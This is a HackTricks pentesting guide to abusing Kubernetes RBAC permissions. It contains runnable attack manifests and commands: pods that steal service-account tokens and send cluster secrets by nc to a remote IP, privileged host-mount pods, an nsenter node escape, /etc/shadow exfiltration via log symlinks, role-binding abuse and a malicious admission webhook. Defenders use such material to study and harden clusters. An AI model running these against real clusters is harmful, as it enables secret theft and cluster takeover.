HackTricks
Search…
👽
Network Services Pentesting
Abusing Roles/ClusterRoles in Kubernetes
Support HackTricks and get benefits!
Here you can find some potentially dangerous Roles and ClusterRoles configurations. Remember that you can get all the supported resources with kubectl api-resources

Privilege Escalation

Referring as the art of getting access to a different principal within the cluster with different privileges (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically 4 main techniques to escalate privileges:
  • Be able to impersonate other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
  • Be able to create/patch/exec pods where you can find or attach SAs with better privileges within the kubernetes cluster or to external clouds
  • Be able to read secrets as the SAs tokens are stored as secrets
  • Be able to escape to the node from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
  • A fifth technique that deserves a mention is the ability to run port-forward in a pod, as you may be able to access interesting resources within that pod.

Access Any Resource or Verb

This privilege provides access to any resource with any verb. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If it’s a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission.
1
apiVersion: rbac.authorization.k8s.io/v1
2
kind: ClusterRole
3
metadata:
4
name: api-resource-verbs-all
5
rules:
6
rules:
7
- apiGroups: ["*"]
8
resources: ["*"]
9
verbs: ["*"]
Copied!

Access Any Resource

Giving a user permission to access any resource can be very risky. But, which verbs allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster:
  • resources: ["*"] verbs: ["create"] – This privilege can create any resource in the cluster, such as pods, roles, etc. An attacker might abuse it to escalate privileges. An example of this can be found in the “Pods Creation” section.
  • resources: ["*"] verbs: ["list"] – The ability to list any resource can be used to leak other users’ secrets and might make it easier to escalate privileges. An example of this is located in the “Listing secrets” section.
  • resources: ["*"] verbs: ["get"]- This privilege can be used to get secrets from other service accounts.
1
apiVersion: rbac.authorization.k8s.io/v1
2
kind: ClusterRole
3
metadata:
4
name: api-resource-verbs-all
5
rules:
6
rules:
7
- apiGroups: ["*"]
8
resources: ["*"]
9
verbs: ["create", "list", "get"]
Copied!

Pod Create - Steal Token

An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges.
Here we have a default privileged account named bootstrap-signer with permissions to list all secrets.
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
1
apiVersion: v1
2
kind: Pod
3
metadata:
4
name: alpine
5
namespace: kube-system
6
spec:
7
containers:
8
- name: alpine
9
image: alpine
10
command: ["/bin/sh"]
11
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
12
serviceAccountName: bootstrap-signer
13
automountServiceAccountToken: true
14
hostNetwork: true
Copied!
In the previous image note how the bootstrap-signer service is used in serviceAccountname.
So just create the malicious pod and expect the secrets in port 6666:

Pod Create & Escape

The following definition gives all the privileges a container can have:
  • Privileged access (disabling protections and setting capabilities)
  • Disable namespaces hostIPC and hostPid that can help to escalate privileges
  • Disable hostNetwork namespace, giving access to steal nodes cloud privileges and better access to networks
  • Mount hosts / inside the container
super_privs.yaml
1
apiVersion: v1
2
kind: Pod
3
metadata:
4
name: ubuntu
5
labels:
6
app: ubuntu
7
spec:
8
# Uncomment and specify a specific node you want to debug
9
# nodeName: <insert-node-name-here>
10
containers:
11
- image: ubuntu
12
command:
13
- "sleep"
14
- "3600" # adjust this as needed -- use only as long as you need
15
imagePullPolicy: IfNotPresent
16
name: ubuntu
17
securityContext:
18
allowPrivilegeEscalation: true
19
privileged: true
20
#capabilities:
21
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
22
runAsUser: 0 # run as root (or any other user)
23
volumeMounts:
24
- mountPath: /host
25
name: host-volume
26
restartPolicy: Never # we want to be intentional about running this pod
27
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
28
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
29
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
30
volumes:
31
- name: host-volume
32
hostPath:
33
path: /
Copied!
Create the pod with:
1
kubectl --token $token create -f mount_root.yaml
Copied!
One-liner from this tweet and with some additions:
1
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Copied!
Now that you can escape to the node check post-exploitation techniques in:

Stealth

You probably want to be stealthier, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods__

Pod Create - Move to cloud

If you can create a pod (and optionally a service account) you might be able to obtain privileges in cloud environment by assigning cloud roles to a pod or a service account and then accessing it. Moreover, if you can create a pod with the host network namespace you can steal the IAM role of the node instance.
For more information check:

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to develop pods and even create pods. So it's possible to abuse them to escalate privileges just like in the previous example.
Suppose we have the permission to create a Daemonset and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section.
1
apiVersion: apps/v1
2
kind: DaemonSet
3
metadata:
4
name: alpine
5
namespace: kube-system
6
spec:
7
selector:
8
matchLabels:
9
name: alpine
10
template:
11
metadata:
12
labels:
13
name: alpine
14
spec:
15
serviceAccountName: bootstrap-signer
16
automountServiceAccountToken: true
17
hostNetwork: true
18
containers:
19
- name: alpine
20
image: alpine
21
command: ["/bin/sh"]
22
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
Copied!
In line 6 you can find the object “spec” and children objects such as “template” in line 10. These objects hold the configuration for the task we wish to accomplish. Another thing to notice is the "serviceAccountName" in line 15 and the “containers” object in line 18. This is the part that relates to creating our malicious container.
Kubernetes API documentation indicates that the “PodTemplateSpec” endpoint has the option to create containers. And, as you can see: deployment, daemonsets, statefulsets, replicationcontrollers, replicasets, jobs and cronjobs can all be used to create pods:
So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.

Pods Exec

Pod exec is an option in kubernetes used for running commands in a shell inside a pod. This privilege is meant for administrators who want to access containers and run commands. It’s just like creating a SSH session for the container.
If we have this privilege, we actually get the ability to take control of all the pods. In order to do that, we needs to use the following command:
1
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Copied!
Note that as you can get inside any pod, you can abuse other pods token just like in Pod Creation exploitation to try to escalate privileges.

port-forward

This permission allows to forward one local port to one port in the specified pod. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
1
kubectl port-forward pod/mypod 5000:5000
Copied!

Hosts Writable /var/log/ Escape

As indicated in this research**,**If you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container. This is basically because the when the Kube-API tries to get the logs of a container (using kubectl logs <pod>), it requests the 0.log file of the pod using the /logs/ endpoint of the Kubelet service. The Kubelet service exposes the /logs/ endpoint which is just basically exposing the /var/log filesystem of the container.
Therefore, an attacker with access to write in the /var/log/ folder of the container could abuse this behaviours in 2 ways:
  • Modifying the 0.log file of its container (usually located in /var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to /etc/shadow for example. Then, you will be able to exfiltrate hosts shadow file doing:
1
kubectl logs escaper
2
failed to get parse function: unsupported log format: "root::::::::\n"
3
kubectl logs escaper --tail=2
4
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
5
# Keep incrementing tail to exfiltrate the whole file
Copied!
  • If the attacker controls any principal with the permissions to read nodes/log, he can just create a symlink in /host-mounted/var/log/sym to / and when accessing https://<gateway>:10250/logs/sym/ he will lists the hosts root filesystem (changing the symlink can provide access to files).
1
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
2
<a href="bin">bin</a>
3
<a href="data/">data/</a>
4
<a href="dev/">dev/</a>
5
<a href="etc/">etc/</a>
6
<a href="home/">home/</a>
7
<a href="init">init</a>
8
<a href="lib">lib</a>
9
[...]
Copied!
A laboratory and automated exploit can be found in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassing readOnly protection

If you are lucky enough and the highly privileged capability capability CAP_SYS_ADMIN is available, you can just remount the folder as rw:
1
mount -o rw,remount /hostlogs/
Copied!

Bypassing hostPath readOnly protection

As stated in this research it’s possible to bypass the protection:
1
allowedHostPaths:
2
- pathPrefix: "/foo"
3
readOnly: true
Copied!
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
1
apiVersion: v1
2
kind: PersistentVolume
3
metadata:
4
name: task-pv-volume-vol
5
labels:
6
type: local
7
spec:
8
storageClassName: manual
9
capacity:
10
storage: 10Gi
11
accessModes:
12
- ReadWriteOnce
13
hostPath:
14
path: "/var/log"
15
---
16
apiVersion: v1
17
kind: PersistentVolumeClaim
18
metadata:
19
name: task-pv-claim-vol
20
spec:
21
storageClassName: manual
22
accessModes:
23
- ReadWriteOnce
24
resources:
25
requests:
26
storage: 3Gi
27
---
28
apiVersion: v1
29
kind: Pod
30
metadata:
31
name: task-pv-pod
32
spec:
33
volumes:
34
- name: task-pv-storage-vol
35
persistentVolumeClaim:
36
claimName: task-pv-claim-vol
37
containers:
38
- name: task-pv-container
39
image: ubuntu:latest
40
command: [ "sh", "-c", "sleep 1h" ]
41
volumeMounts:
42
- mountPath: "/hostlogs"
43
name: task-pv-storage-vol
Copied!

Impersonating privileged accounts

With a user impersonation privilege, an attacker could impersonate a privileged account.
In this example, the service account sa-imper has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
It's possible to list all secrets with --as=null --as-group=system:master attributes:
It's also possible to perform the same action via the API REST endpoint:
1
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
2
-H "Impersonate-Group: system:masters"\
3
-H "Impersonate-User: null" \
4
-H "Accept: application/json" \
5
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Copied!

Listing Secrets

The listing secrets privilege is a strong capability to have in the cluster. A user with the permission to list secrets can potentially view all the secrets in the cluster – including the admin keys. The secret key is a JWT token encoded in base64.
An attacker that gains access to _list secrets_ in the cluster can use the following curl commands to get all secrets in “kube-system” namespace:
1
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Copied!

Reading a secret – brute-forcing token IDs

An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the listing secrets permission described above.
Although the attacker doesn’t know the secret’s name, there are default service accounts that can be enlisted.
Each service account has an associated secret with a static (non-changing) prefix and a postfix of a random five-character string token at the end.
The random token structure is 5-character string built from alphanumeric (lower letters and digits) characters. But it doesn’t contain all the letters and digits.
When looking inside the source code, it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 (a-z and 0-9)
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.

Built-in Privileged Escalation Prevention

Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a built-in mechanism for that:
“The RBAC API prevents users from escalating privileges by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only create/update a role if they already have all the permissions contained in the role, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)”
Let’s see an example for such prevention.
A service account named sa7 is in a RoleBinding edit-role-rolebinding. This RoleBinding object has a role named edit-role that has full permissions rules on roles. Theoretically, it means that the service account can edit any role in the default namespace.
There is also an existing role named list-pods. Anyone with this role can list all the pods on the default namespace. The user sa7 should have permissions to edit any roles, so let’s see what happens when it tries to add the “secrets” resource to the role’s resources.
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” (Figure 31), because although our sa7 user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.

Get & Patch RoleBindings/ClusterRoleBindings

Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.
The privilege to create Rolebindings allows a user to bind roles to a service account. This privilege can potentially lead to privilege escalation because it allows the user to bind admin privileges to a compromised service account.
The following ClusterRole is using the special verb bind that allows a user to create a RoleBinding with admin ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
Then it's possible to create malicious-RoleBinging.json, which binds the admin role to other compromised service account:
1
{
2
"apiVersion": "rbac.authorization.k8s.io/v1",
3
"kind": "RoleBinding",
4
"metadata": {
5
"name": "malicious-rolebinding",
6
"namespaces": "default"
7
},
8
"roleRef": {
9
"apiGroup": "*",
10
"kind": "ClusterRole",
11
"name": "admin"
12
},
13
"subjects": [
14
{
15
"kind": "ServiceAccount",
16
"name": "compromised-svc"
17
"namespace": "default"
18
}
19
]
20
}
Copied!
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
1
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
2
-H "Content-Type: application/json" \
3
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
4
-d @malicious-RoleBinging.json
Copied!
After the admin role is bound to the “compromised-svc” service account, we can use the compromised service account token to list secrets. The following CURL command will do this:
1
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
2
-H "Content-Type: application/json"
3
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
Copied!

Other Attacks

Sidecar proxy app

By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.

Create a sidecar proxy app

Create your .yaml
1
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
Copied!
Edit your .yaml and add the uncomment lines:
1
#apiVersion: v1
2
#kind: Pod
3
#metadata:
4
# name: security-context-demo
5
#spec:
6
# securityContext:
7
# runAsUser: 1000
8
# runAsGroup: 3000
9
# fsGroup: 2000
10
# volumes:
11
# - name: sec-ctx-vol
12
# emptyDir: {}
13
# containers:
14
# - name: sec-ctx-demo
15
# image: busybox
16
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
17
securityContext:
18
capabilities:
19
add: ["NET_ADMIN"]
20
# volumeMounts:
21
# - name: sec-ctx-vol
22
# mountPath: /data/demo
23
# securityContext:
24
# allowPrivilegeEscalation: true
Copied!
See the logs of the proxy:
1
kubectl logs app -C proxy
Copied!

Malicious Admission Controller

An admission controller is a piece of code that intercepts requests to the Kubernetes API server before the persistence of the object, but after the request is authenticated and authorized.
If an attacker somehow manages to inject a Mutationg Adminssion Controller, he will be able to modify already authenticated requests. Being able to potentially privesc, and more usually persist in the cluster.
1
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
2
cd malicious-admission-controller-webhook-demo
3
./deploy.sh
4
kubectl get po -n webhook-demo -w
Copied!
Wait until the webhook server is ready. Check the status:
1
kubectl get mutatingwebhookconfigurations
2
kubectl get deploy,svc -n webhook-demo
Copied!
mutating-webhook-status-check.PNG
Once we have our malicious mutating webhook running, let's deploy a new pod.
1
kubectl run nginx --image nginx
2
kubectl get po -w
Copied!
Wait again, until you see the change in pod status. Now, you can see ErrImagePull error. Check the image name with either of the queries.
1
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
2
kubectl describe po nginx | grep "Image: "
Copied!
malicious-admission-controller.PNG
As you can see in the above image, we tried running image nginx but the final executed image is rewanthtammana/malicious-image. What just happened!!?

Technicalities

We will unfold what just happened. The ./deploy.sh script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results.
1
patches = append(patches, patchOperation{
2
Op: "replace",
3
Path: "/spec/containers/0/image",
4
Value: "rewanthtammana/malicious-image",
5
})
Copied!
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

Best Practices

Prevent service account token automounting on pods

When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself.
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:\
It is also possible to use it on the pod:\

Grant specific users to RoleBindings\ClusterRoleBindings

When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.

Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings

When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.

Use automated tools

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
GitHub
GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark
GitHub

References

Securing Kubernetes Clusters by Eliminating Risky Permissions
CyberArk
Kubernetes Pentest Methodology Part 1
CyberArk
Support HackTricks and get benefits!